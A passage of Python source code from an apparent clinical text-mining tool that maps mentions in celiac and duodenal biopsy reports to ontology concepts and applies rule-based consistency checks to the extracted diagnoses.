findings):\n\t\t\"\"\"\n\t\tLink celiac finding to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\t\t\tfindings: (list(str)) list of possible celiac findings\n\n\t\tReturns: finding concept.\n\t\t\"\"\"\n\t\tfinding_mention = mention.text\n\t\tif 'lymphocyte' in finding_mention or 'lymphocital' in finding_mention:\n\t\t\tif 'iel' in finding_mention:\n\t\t\t\ti_end = [tok.i for tok in mention.doc[mention.end:] if mention.doc[tok.i].text == ')']\n\t\t\t\tvalue = mention.doc[mention.end:i_end[0]]\n\t\t\t\treturn [[mention.text, 'lymphocyte'], [mention.text, 'intraepithelial lymphocyte count'], [mention.text, value.text]]\n\t\t\telse:\n\t\t\t\treturn [[mention.text, 'lymphocyte']]\n\t\telif 'lymphoplasmocitary' in finding_mention:\n\t\t\treturn[[mention.text, 'lymphocyte']]\n\t\telif 'granulocitary' in finding_mention:\n\t\t\treturn [[mention.text, 'granulocyte']]\n\t\telif any(k in finding_mention for k in findings):\n\t\t\tfind_mentions = [k for k in findings if k in finding_mention]\n\t\t\tmentions2concepts = []\n\t\t\tfor finding in find_mentions:\n\t\t\t\tmentions2concepts.append([mention.text, finding])\n\t\t\treturn mentions2concepts\n\t\telif finding_mention in findings:\n\t\t\treturn [[mention.text, [find for find in findings if finding_mention == find][0]]]\n\t\telse:\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_duodenitis(mention):\n\t\t\"\"\"\n\t\tLink duodenitis to the correct concepts and extract additional information if present.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenitis concept, duodenitis severity and additional concepts.\n\t\t\"\"\"\n\t\ttriggers = ['chronic', 'active', 'acute', 'moderate', 'mild', 'erosive', 'mild-activity', 'activity', 'ulcerative']\n\t\tannotation = None\n\t\tstart_i = mention.start if mention.start == 0 else mention.start-1\n\t\tif 'ulcerative' in mention.doc[start_i:mention.end+4].text:\n\t\t\tannotation = [[mention.text, 'ulcer']]\n\t\tif 'erosive' in mention.doc[start_i:mention.end+4].text:\n\t\t\tannotation = [[mention.text, 'erosion']]\n\t\tif any(trig in mention.doc[start_i:mention.end+4].text for trig in triggers):\n\t\t\tstart_i = mention.start\n\t\t\tend_i = mention.end\n\t\t\tfinished = False\n\t\t\t# Check for any other trigger right before the mention\n\t\t\twhile start_i > 0 and not finished:\n\t\t\t\tstart_i = start_i - 1\n\t\t\t\ttmp = mention.doc[start_i]\n\t\t\t\tif tmp.text in triggers + ['with', 'to', ',', 'slightly']:\n\t\t\t\t\tif start_i == 0 or mention.doc[start_i-1].text not in triggers + ['with', 'to', ',', 'slightly']:\n\t\t\t\t\t\tfinished = True\n\t\t\t\telse:\n\t\t\t\t\tstart_i = start_i + 1\n\t\t\t\t\tfinished = True\n\t\t\tif mention.doc[start_i].text in ['with', 'to', ',', 'slightly']:\n\t\t\t\tstart_i = start_i + 1\n\t\t\t# Check for any other trigger after the mention\n\t\t\tif any(trig in mention.doc[mention.end:].text for trig in triggers):\n\t\t\t\t# We keep span until the next token is no longer a trigger or conjunction\n\t\t\t\tend_i = [tok.i for tok in mention.doc[mention.end:] if tok.text in triggers + ['with', 'to', ',']\n\t\t\t\t\t\t and mention.doc[tok.i+1].text not in triggers][0]+1\n\t\t\tif annotation is not None:\n\t\t\t\treturn [[mention.text, 'duodenitis'], [mention.text, 'duodenitis severity', mention.doc[start_i:end_i].text]] + annotation\n\t\t\telse:\n\t\t\t\treturn [[mention.text, 'duodenitis'], [mention.text, 'duodenitis severity', mention.doc[start_i:end_i].text]]\n\t\telse:\n\t\t\treturn [[mention.text, 'duodenitis']]\n\n\t@staticmethod\n\tdef link_ulcer(mention):\n\t\t\"\"\"\n\t\tLink ulcer concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: ulcer concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'ulcer']]\n\n\t@staticmethod\n\tdef link_villi_mucosa(mention):\n\t\t\"\"\"\n\t\tLink correct duodenal location to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenal location concept.\n\t\t\"\"\"\n\t\tlocation_mention = mention.text\n\t\tif location_mention == 'villo-ghiandular mucosa':\n\t\t\treturn [[mention.text, 'duodenal mucosa']]\n\t\telse:\n\t\t\treturn [[mention.text, 'intestinal villus of duodenum'], [mention.text, 'duodenal gland']]\n\n\t@staticmethod\n\tdef link_negative_outcome(mention):\n\t\t\"\"\"\n\t\tLink negative outcome concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: negative outcome concept.\n\t\t\"\"\"\n\t\tnormal_mention = mention.text\n\t\tif normal_mention in ['within the limit of normal', 'within the limits of normal', 'normal morphology',\n\t\t\t\t\t\t\t 'normal appearance', 'no abnormality', 'no abnormalities']:\n\t\t\treturn [[mention.text, 'negative result']]\n\t\telse:\n\t\t\t# Check next entity\n\t\t\tnext_ent = mention.doc.ents[mention.ent_id+1]\n\t\t\tif 'architecture' in next_ent.text:\n\t\t\t\treturn [[mention.text, 'negative result']]\n\t\t\telse: # mention is not a negative outcome\n\t\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_erosion(mention):\n\t\t\"\"\"\n\t\tLink erosion concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: erosion concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'erosion']]\n\n\t@staticmethod\n\tdef link_congestion(mention):\n\t\t\"\"\"\n\t\tLink congestion concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: congestion concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'tissue congestion']]\n\n\t@staticmethod\n\tdef link_heterotopia(mention):\n\t\t\"\"\"\n\t\tLink heterotopia concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: heterotopia concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'gastric heterotopia of the small intestine']]\n\n\t@staticmethod\n\tdef link_atrophy(mention):\n\t\t\"\"\"\n\t\tLink correct atrophy concept and extract additional information if present.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: atrophy concept and villi degree of atrophy information.\n\t\t\"\"\"\n\t\ttriggers = ['moderate', 'severe', 'total', 'mild', 'moderate-severe', 'focal']\n\t\tif 'glandular' in mention.text:\n\t\t\treturn [[mention.text, 'glandular atrophy'], [mention.text, 'duodenal gland']]\n\t\telif 'crypt' in mention.text:\n\t\t\treturn [[mention.text, 'glandular atrophy'], [mention.text, 'crypt of lieberkuhn of duodenum']]\n\t\telif 'villi' in mention.text:\n\t\t\t# Check for specified degree of atrophy\n\t\t\tif any(trig in mention.text for trig in triggers):\n\t\t\t\tvalue = [trig for trig in triggers if trig in mention.text][0]\n\t\t\t\treturn [[mention.text, 'villi degree of atrophy', value]]\n\t\t\telif any(trig in mention.doc[mention.start-1].text for trig in triggers):\n\t\t\t\tvalue = [trig for trig in triggers if trig in mention.doc[mention.start-1].text][0]\n\t\t\t\tif value == 'moderate':\n\t\t\t\t\t# Check if degree of atrophy if 'mild to moderate'\n\t\t\t\t\tif mention.doc[mention.start-3:mention.start].text == 'mild to moderate':\n\t\t\t\t\t\treturn [[mention.text, 'villi degree of atrophy', 'mild to moderate']]\n\t\t\t\treturn [[mention.text, 'villi degree of atrophy', value]]\n\t\t\telse:\n\t\t\t\treturn [[mention.text, 'villi degree of atrophy', 'not specified']]\n\t\telse:\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_biopsy(mention):\n\t\t\"\"\"\n\t\tLink correct biopsy concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: biopsy concept.\n\t\t\"\"\"\n\t\tbiopsy_mention = mention.text\n\t\tbiopsy_output = []\n\t\tif 'duodenum' in biopsy_mention or 'duodenal' in biopsy_mention: # mention contains 'duodenum'\n\t\t\tbiopsy_output.append([mention.text, 'biopsy of duodenum'])\n\t\t\tbiopsy_output.append([mention.text, 'duodenum'])\n\t\tif any(tok in biopsy_mention for tok in ['pyloric', 'antrum', 'antrum/body']): # mention contains 'antrum pylori'\n\t\t\tbiopsy_output.append([mention.text, 'biopsy of the pyloric antrum'])\n\t\t\tbiopsy_output.append([mention.text, 'antrum pylori'])\n\t\tif 'stomach' in biopsy_mention or 'corpus' in biopsy_mention: # mention contains 'stomach'\n\t\t\tif 'antrum' not in biopsy_output:\n\t\t\t\tbiopsy_output.append([mention.text, 'biopsy of the greater curvature'])\n\t\t\t\tbiopsy_output.append([mention.text, 'greater curvature of stomach'])\n\t\tif 'endoscopic' in biopsy_mention:\n\t\t\tbiopsy_output.append([mention.text, 'endoscopic biopsy'])\n\t\tif 'small intestine' in biopsy_mention:\n\t\t\tbiopsy_output.append([mention.text, 'biopsy of small intestine'])\n\t\t\tbiopsy_output.append([mention.text, 'small intestine'])\n\t\tif 'jejunum' in biopsy_mention:\n\t\t\tbiopsy_output.append([mention.text, 'biopsy of jejunum'])\n\t\t\tbiopsy_output.append([mention.text, 'jejunum'])\n\t\tif len(biopsy_output) == 0: # default biopsy is 'duodenum biopsy'\n\t\t\treturn [[mention.text, 'biopsy of duodenum'], [mention.text, 'duodenum']]\n\t\telse:\n\t\t\treturn biopsy_output\n\n\t@staticmethod\n\tdef link_flattened_villi(mention):\n\t\t\"\"\"\n\t\tLink correct flattened villi concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: flattened villi concept.\n\t\t\"\"\"\n\t\tflat_mention = mention.text\n\t\tif 'villi' in flat_mention or 'villuses' in flat_mention:\n\t\t\treturn [[mention.text, 'has flattened villi'], [mention.text, 'intestinal villus of duodenum']]\n\t\telse:\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_crypt_ratio(mention):\n\t\t\"\"\"\n\t\tLink correct villi to crypt ratio concept and value.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: villi to crypt ratio concept and value.\n\t\t\"\"\"\n\t\tif mention.doc[mention.start-1].text == '(':\n\t\t\t# extract value in between brackets (if bracket is not closed, skip value)\n\t\t\ti_end = [tok.i for tok in mention.doc[mention.start:] if mention.doc[tok.i].text == ')']\n\t\t\tif len(i_end) > 0:\n\t\t\t\tvalue = mention.doc[mention.start:i_end[0]]\n\t\t\t\treturn [[mention.text, 'villi to crypt of lieberkuhn ratio', value.text]]\n\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_villi_height(mention):\n\t\t\"\"\"\n\t\tLink correct villi to crypt ratio concept and value.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: villi to crypt ratio concept and value.\n\t\t\"\"\"\n\t\ttriggers = ['decreased', 'normal', 'maintained', 'reduced', 'reduction', 'irregular', 'regular']\n\t\tif 'vill' in mention.text:\n\t\t\tif any(trig in mention.text for trig in triggers):\n\t\t\t\treturn [[mention.text, 'duodenum villi length', mention.text]]\n\t\t\telif any(trig in mention.doc[mention.start-3:mention.end+2].text for trig in triggers):\n\t\t\t\ttok_i = [tok.i for tok in mention.doc[mention.start-3:mention.end+3] if mention.doc[tok.i].text in triggers]\n\t\t\t\tif tok_i[0] < mention.start:\n\t\t\t\t\t# trigger before mention\n\t\t\t\t\treturn [[mention.text, 'duodenum villi length', mention.doc[tok_i[0]:mention.end].text]]\n\t\t\t\telse:\n\t\t\t\t\t# trigger after mention\n\t\t\t\t\treturn [[mention.text, 'duodenum villi length', mention.doc[mention.start:tok_i[0]+1].text]]\n\t\t\telse:\n\t\t\t\treturn [[mention.text, None]]\n\t\telse:\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_mitosis_number(mention):\n\t\t\"\"\"\n\t\tLink correct villi to crypt ratio concept and value.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: villi to crypt ratio concept and value.\n\t\t\"\"\"\n\t\ttriggers = ['normal', 'increase', 'norm', 'rare']\n\t\tif any(trig in mention.doc[mention.start-3:mention.end].text for trig in triggers):\n\t\t\tvalue = [trig for trig in triggers if trig in mention.doc[mention.start-3:mention.end].text][0]\n\t\t\tif value == 'norm':\n\t\t\t\tvalue = 'normal'\n\t\t\treturn [[mention.text, 'number of mitosis per crypt', value]]\n\t\telse:\n\t\t\treturn [[mention.text, None]]\n\n\t@staticmethod\n\tdef link_duodenal_location(mention):\n\t\t\"\"\"\n\t\tLink correct duodenal location to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: duodenal location concept.\n\t\t\"\"\"\n\t\tlocation_mention = mention.text\n\t\tif 'mucosa' in location_mention:\n\t\t\treturn [[mention.text, 'duodenal mucosa']]\n\t\telif 'ampulla' in location_mention or 'bulb' in location_mention:\n\t\t\treturn [[mention.text, 'duodenal ampulla']]\n\t\telif 'lamina' in location_mention:\n\t\t\treturn [[mention.text, 'duodenal lamina propria']]\n\t\telif 'gland' in location_mention:\n\t\t\treturn [[mention.text, 'duodenal gland']]\n\t\telse:\n\t\t\treturn [[mention.text, 'duodenum']]\n\n\t@staticmethod\n\tdef link_jejunum(mention):\n\t\t\"\"\"\n\t\tLink jejunum to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: jejunum concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'jejunum']]\n\n\t@staticmethod\n\tdef link_small_intestine(mention):\n\t\t\"\"\"\n\t\tLink small intestine to the correct concept.\n\n\t\tParams:\n\t\t\tmention (spacy.tokens.span.Span): entity mention extracted from text\n\n\t\tReturns: small intestine concept.\n\t\t\"\"\"\n\t\treturn [[mention.text, 'small intestine']]\n\n\t# CELIAC SPECIFIC POST PROCESSING OPERATIONS\n\n\tdef ad_hoc_celiac_post_processing(self, mentions_and_concepts):\n\t\t\"\"\"\n\t\tPerform set of post processing operations\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after post processing operations\n\t\t\"\"\"\n\t\tnew_mentions_and_concepts = self.remove_not_celiac_reports(mentions_and_concepts)\n\t\tnew_mentions_and_concepts = self.remove_celiac_unrelated_concepts(new_mentions_and_concepts)\n\t\tnew_mentions_and_concepts = self.remove_unrelated_props(new_mentions_and_concepts, self.valued_props)\n\t\t# Consistency Checks\n\t\tnew_mentions_and_concepts = self.remove_unreliable_outcomes(new_mentions_and_concepts)\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_not_celiac_reports(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to celiac use-case\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after removal or reports unrelated to celiac use case.\n\t\t\"\"\"\n\t\tunrelated_triggers = ['neoplas', 'tumor', 'adenocarcinoma', 'polyp', 'adenoma', 'perforation', 'cervical',\n\t\t\t\t\t\t\t 'colon', 'lung', 'hpv']\n\t\tunrelated = False\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif unrelated or any(trig in m_and_c[0] for trig in unrelated_triggers): # mention contains unrelated triggers\n\t\t\t\t# mentions not related to celiac use-case -- remove all\n\t\t\t\tunrelated = True\n\n\t\tif unrelated:\n\t\t\t# mentions not related to celiac use-case -- removed all\n\t\t\tnew_mentions_and_concepts = []\n\t\t\tfor m_and_c in mentions_and_concepts:\n\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\treturn new_mentions_and_concepts\n\t\telse:\n\t\t\t# mentions related to celiac use-case -- keep all\n\t\t\treturn mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_celiac_unrelated_concepts(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to cell-based carcinoma\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated cell-based carcinoma removal\n\t\t\"\"\"\n\n\t\tnew_mentions_and_concepts = []\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif m_and_c[1] is not None:\n\t\t\t\tif 'metaplasia' in m_and_c[1]: # concept refers to 'metaplasia'\n\t\t\t\t\tif 'metaplasia' in m_and_c[0]: # mention refers to 'metaplasia'\n\t\t\t\t\t\t# mention related to metaplasia -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to metaplasia -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'inflammation' in m_and_c[1]: # concept refers to 'inflammation'\n\t\t\t\t\tif 'inflammat' in m_and_c[0] or 'phlogosis' in m_and_c[0]: # mention refers to 'inflammation'\n\t\t\t\t\t\t# mention related to inflammation -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to inflammation -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'jejunum' in m_and_c[1]: # concept refers to 'jejunum'\n\t\t\t\t\tif 'jejunum' in m_and_c[0]: # mention refers to 'jejunum'\n\t\t\t\t\t\t# mention related to jejunum -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to jejunum -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'small intestine' in m_and_c[1]: # concept refers to 'small intestine'\n\t\t\t\t\tif 'small intestine' in m_and_c[0]: # mention refers to 'small intestine'\n\t\t\t\t\t\t# mention related to small intestine -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to small intestine -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'crohn disease' == m_and_c[1]: # concept refers to 'crohn disease'\n\t\t\t\t\tif 'crohn' in m_and_c[0]: # mention refers to 'crohn disease'\n\t\t\t\t\t\t# mention related to chron disease -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to chron disease -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'intestinal fibrosis' in m_and_c[1]: # concept refers to 'intestinal fibrosis'\n\t\t\t\t\tif 'fibrosis' in m_and_c[0]: # mention refers to 'fibrosis'\n\t\t\t\t\t\t# mention related to fibrosis -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to fibrosis -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'malabsorption' in m_and_c[1]: # concept refers to 'malabsorption'\n\t\t\t\t\tif 'malabsorption' in m_and_c[0]: # mention refers to 'malabsorption'\n\t\t\t\t\t\t# mention related to malabsorption -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to malabsorption -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'duodenitis' == m_and_c[1]: # concept refers to 'duodenitis'\n\t\t\t\t\tif 'duodenitis' in m_and_c[0]: # mention refers to 'duodenitis'\n\t\t\t\t\t\t# mention related to duodenitis -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to duodenitis -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'lamina' in m_and_c[1]: # concept refers to 'lamina'\n\t\t\t\t\tif 'lamina' in m_and_c[0]: # mention refers to 'lamina'\n\t\t\t\t\t\t# mention related to lamina -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to lamina -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'epithelium' in m_and_c[1]: # concept refers to 'epithelium'\n\t\t\t\t\tif 'epithelium' in m_and_c[0]: # mention refers to 'epithelium'\n\t\t\t\t\t\t# mention related to epithelium -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to epithelium -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'mucosa' in m_and_c[1]: # concept refers to 'mucosa'\n\t\t\t\t\tif 'mucosa' in m_and_c[0]: # mention refers to 'mucosa'\n\t\t\t\t\t\t# mention related to mucosa -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to mucosa -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'congestion' in m_and_c[1]: # concept refers to 'congestion'\n\t\t\t\t\tif 'congestion' in m_and_c[0]: # mention refers to 'congestion'\n\t\t\t\t\t\t# mention related to congestion -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to congestion -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'heterotopia' in m_and_c[1]: # concept refers to 'heterotopia'\n\t\t\t\t\tif 'heterotopia' in m_and_c[0] or 'heterotopic' in m_and_c[0]: # mention refers to 'heterotopia'\n\t\t\t\t\t\t# mention related to heterotopia -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to heterotopia -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'has flattened villi' in m_and_c[1]: # concept refers to 'flattened villi'\n\t\t\t\t\tif 'flat' in m_and_c[0]: # mention refers to 'flattened villi'\n\t\t\t\t\t\t# mention related to flattened villi -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to flattened villi -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'absence of villi' in m_and_c[1]: # concept refers to 'villi absence'\n\t\t\t\t\tif 'villi' in m_and_c[0] and any(k in m_and_c[0] for k in ['free', 'without', 'absent']): # mention refers to 'villi absence'\n\t\t\t\t\t\t# mention related to villi absence -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to flattened villi -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'inconclusive outcome' == m_and_c[1]: # concept refers to 'inconclusive outcome' (we only set them later)\n\t\t\t\t\t# mention not related to inconclusive outcome -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telif 'negative result' == m_and_c[1]: # concept refers to 'negative outcome'\n\t\t\t\t\tif m_and_c[0] in ['within the limit of normal', 'within the limits of normal',\n\t\t\t\t\t\t\t\t\t 'normal morphology', 'normal appearance', 'no abnormalities']:\n\t\t\t\t\t\t# mention related to negative outcomee -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telif 'normal' in m_and_c[0]:\n\t\t\t\t\t\t# mention related to negative outcome -- keep it\n\t\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\t\telse:\n\t\t\t\t\t\t# mention not related to negative outcome -- remove it\n\t\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\t\telse:\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\telse:\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_unreliable_outcomes(mentions_and_concepts):\n\t\t\"\"\"\n\t\tRemove mentions containing unreliable outcomes.\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unreliable outcomes removal\n\t\t\"\"\"\n\t\tnew_mentions_and_concepts = []\n\t\tnegative, celiac, duodenitis = 0, 0, 0\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif 'negative result' == m_and_c[1]: # mention refers to 'negative result'\n\t\t\t\tnegative = 1\n\t\t\t\tnegative_mention = m_and_c[0]\n\t\t\telif 'positive to celiac disease' == m_and_c[1]: # mention refers to 'positive to celiac disease'\n\t\t\t\tceliac = 1\n\t\t\t\tceliac_mention = m_and_c[0]\n\t\t\telif 'duodenitis' == m_and_c[1]: # mention refers to 'duodenitis'\n\t\t\t\tduodenitis = 1\n\t\t\t\tduodenitis_mention = m_and_c[0]\n\t\t\telse:\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\n\t\tif negative == 1 and all([celiac == 0, duodenitis == 0]): # only negative result\n\t\t\t# mention related to negative result -- keep it\n\t\t\tnew_mentions_and_concepts.append([negative_mention, 'negative result'])\n\t\telif negative == 1 and any([celiac == 1, duodenitis == 1]):\n\t\t\t# unreliable outcome -- set to inconclusive\n\t\t\tnew_mentions_and_concepts.append(['post processed inconclusive outcome', 'inconclusive outcome'])\n\t\telif negative == 0 and all([celiac == 1, duodenitis == 1]):\n\t\t\t# unreliable outcome -- set to inconclusive\n\t\t\tnew_mentions_and_concepts.append(['post processed inconclusive outcome', 'inconclusive outcome'])\n\t\telif celiac == 1:\n\t\t\t# mention related to celiac result -- keep it\n\t\t\tnew_mentions_and_concepts.append([celiac_mention, 'positive to celiac disease'])\n\t\telif duodenitis == 1:\n\t\t\t# mention related to duodenitis result -- keep it\n\t\t\tnew_mentions_and_concepts.append([duodenitis_mention, 'duodenitis'])\n\n\t\t\t\"\"\"\n\t\telif len(mentions_and_concepts) > 0 and all([celiac == 0, duodenitis == 0]):\n\t\t\t# negative result -- add mention\n\t\t\tnew_mentions_and_concepts.append(['post processed negative result', 'negative result'])\n\t\t\t\"\"\"\n\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\t@staticmethod\n\tdef remove_unrelated_props(mentions_and_concepts, valued_props):\n\t\t\"\"\"\n\t\tRemove mentions containing terms unrelated to valued-data properties.\n\n\t\tParams:\n\t\t\tmentions_and_concepts (list(list(str))): list of mentions and concepts extracted from report\n\n\t\tReturns: mentions and concepts after unrelated valued-data properties removal\n\t\t\"\"\"\n\t\tnew_mentions_and_concepts = []\n\t\tfor m_and_c in mentions_and_concepts:\n\t\t\tif any(m_and_c[1] == props for props in valued_props): # mention refers to a data property\n\t\t\t\tif len(m_and_c) == 3: # mention contains a value for the data property\n\t\t\t\t\t# mention related to a data property -- keep it\n\t\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t\t\telse: # mention not related to a data property -- remove it\n\t\t\t\t\tnew_mentions_and_concepts.append([m_and_c[0], None])\n\t\t\telse: # mention does not refer to a data property\n\t\t\t\tnew_mentions_and_concepts.append(m_and_c)\n\t\t# return post processed mentions and concepts\n\t\treturn new_mentions_and_concepts\n\n\tdef check_inconclusive_outcomes(self, diagnoses):\n\t\t\"\"\"\n\t\tRemove concepts containing unreliable outcomes.\n\n\t\tParams:\n\t\t\tdiagnoses (list(list(str))): list of concepts extracted from report\n\n\t\tReturns: concepts after unreliable outcomes removal\n\t\t\"\"\"\n\t\tceliac, duodenitis, normal = 0, 0, 0\n\t\t# make diagnosis section a set\n\t\tdiagnosis = set([concept[1].lower() for concept in diagnoses])\n\t\t# update pre-defined labels w/ 1 in case of label presence\n\t\tfor d in diagnosis:\n\t\t\tif 'positive to celiac disease' == d:\n\t\t\t\tceliac = 1\n\t\t\telif 'duodenitis' == d:\n\t\t\t\tduodenitis = 1\n\t\t\telif 'negative result' == d:\n\t\t\t\tnormal = 1\n\t\t# update when no label has been set to 1\n\t\tif sum([celiac, duodenitis, normal]) > 1:\n\t\t\tnew_diagnoses = []\n\t\t\tfor d in diagnoses:\n\t\t\t\tif d[1].lower() not in ['positive to celiac disease', 'duodenitis', 'negative result']:\n\t\t\t\t\tnew_diagnoses.append(d)\n\t\t\tnew_diagnoses.append(['https://w3id.org/examode/ontology/InconclusiveOutcome', 'Inconclusive Outcome'])\n\t\t\treturn new_diagnoses\n\t\telse:\n\t\t\treturn diagnoses\n\n\tdef celiac_additional_concepts(self, concepts, tissue, procedure, shorts):\n\t\t\"\"\"\n\t\tAdd additional concepts and check outcome consistency by looking at other report 